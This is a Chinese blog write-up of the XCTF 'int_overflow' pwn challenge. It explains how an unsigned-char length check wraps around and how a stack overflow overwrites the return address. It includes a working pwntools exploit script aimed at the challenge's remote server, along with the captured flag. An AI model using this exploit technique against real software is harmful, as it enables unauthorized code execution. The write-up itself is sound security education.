攻防世界pwn【int_overflow】

下载文件,首先先看文件信息;

使用ida32 查看文件;

跟进login函数

密码长度那么长?继续跟进check_passwd函数;

#include<stdio.h>
 
int main(){
 
        unsigned char x=2;
 
        unsigned char y=258;
 
        if(x==y){
 
                printf("success!");
 
        }
 
        return 0;
 
}   
#这里的输出结果为:success!

无符号整形数据的范围是0~255

所以,准确来说,{256->0,257->1,258->2,259->3,260->4,261->5,262->6...264->8} 

从汇编可以看到,想要覆盖到retn地址,需要先使用0x14 个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用"cat flag"的地址覆盖返回地址,最后接上263剩余的数据即可。

利用整数溢出漏洞可以绕过字符串长度输入检测,但这不是最终目的,绕过长度检测后有个dest字符串,0x14字节大小。

所以payload=‘a’*(0x14+4)+p32(cat_flag)

因为还执行了leave操作,所以还要多减去4个;

payload +=‘a’*(262-len(payload)-4)就可以完成利用了;235 = (263-0x14-4-4)

from pwn import *
op = remote("61.147.171.105",54219)
cat_flag = 0x8048694#之前做题的时候 进到函数的大概位置就行了,不知道为什么现在要求需要很精准;有大佬给解释一下吗?
payload = b'a'*0x18+p32(cat_flag)+b'a'*235#235 = (263-0x14-4-4)准确来说,{256:0,257:1,258:2,259:3,260:4,261:5,262:6...264:8}
op.sendlineafter("Your choice:","1")

op.sendlineafter("Please input your username:",'admin')

op.sendlineafter("Please input your passwd:",payload)
op.interactive()
# print(op.recvall())

cyberpeace{b672f93937acac2231e558fd5bea27f2}

还是个小萌新写的不是很好;理解了,但没有完全理解;

参考了有毒大佬的文章写的非常详细

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值